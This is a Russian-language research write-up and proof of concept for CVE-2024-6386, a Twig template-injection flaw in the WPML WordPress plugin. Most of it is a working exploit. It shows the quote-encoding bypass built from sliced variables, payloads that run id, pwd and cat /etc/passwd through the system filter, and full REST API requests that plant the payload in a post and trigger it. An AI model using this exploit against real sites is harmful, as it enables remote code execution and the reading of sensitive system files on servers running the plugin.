
Исследование и PoC для CVE-2024-6386
Подробное исследование на русском: CVE-2024-6386

Базовая оценка: 9.9
Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
В WPML доступно использование специфических шорткодов WordPress, которые позволяют создавать макросы и также рендерить шаблоны Twig. Таким образом, можно легко получить SSTI.
Например, создадим шорткод для эксплуатации SSTI:
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
В этом случае результатом рендеринга шорткода будет 4.
Из-за того, что WordPress кодирует все типы кавычек в HTML, мы не можем использовать типичные нагрузки, такие как:
{{['id']|filter('system')}}
Тем не менее, мы можем модифицировать эту нагрузку, чтобы вызывать команды ОС из переменных-букв, например: (s = 's').
Для этого нужно использовать некоторые локальные переменные, такие как:
css_classeslanguagesПервая вернёт строку: wpml-ls-statics-shortcode_actions wpml-ls.
Вторая возвращает объект Array (массив) языков.
С их помощью мы можем вырезать нужные символы и создать собственный алфавит.
Итак, составляем алфавит: [<пробел> ,a, c, i, d, s, y, t, e, m, p, w ]
И да, мы должны соединить languages с пустым значением, чтобы получить строку со значением "Array".
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
После этого мы можем соединить наш алфавит в нагрузки:
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com
{
"id":30,
"content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}
GET /?p=30 HTTP/1.1
Host: vulned.com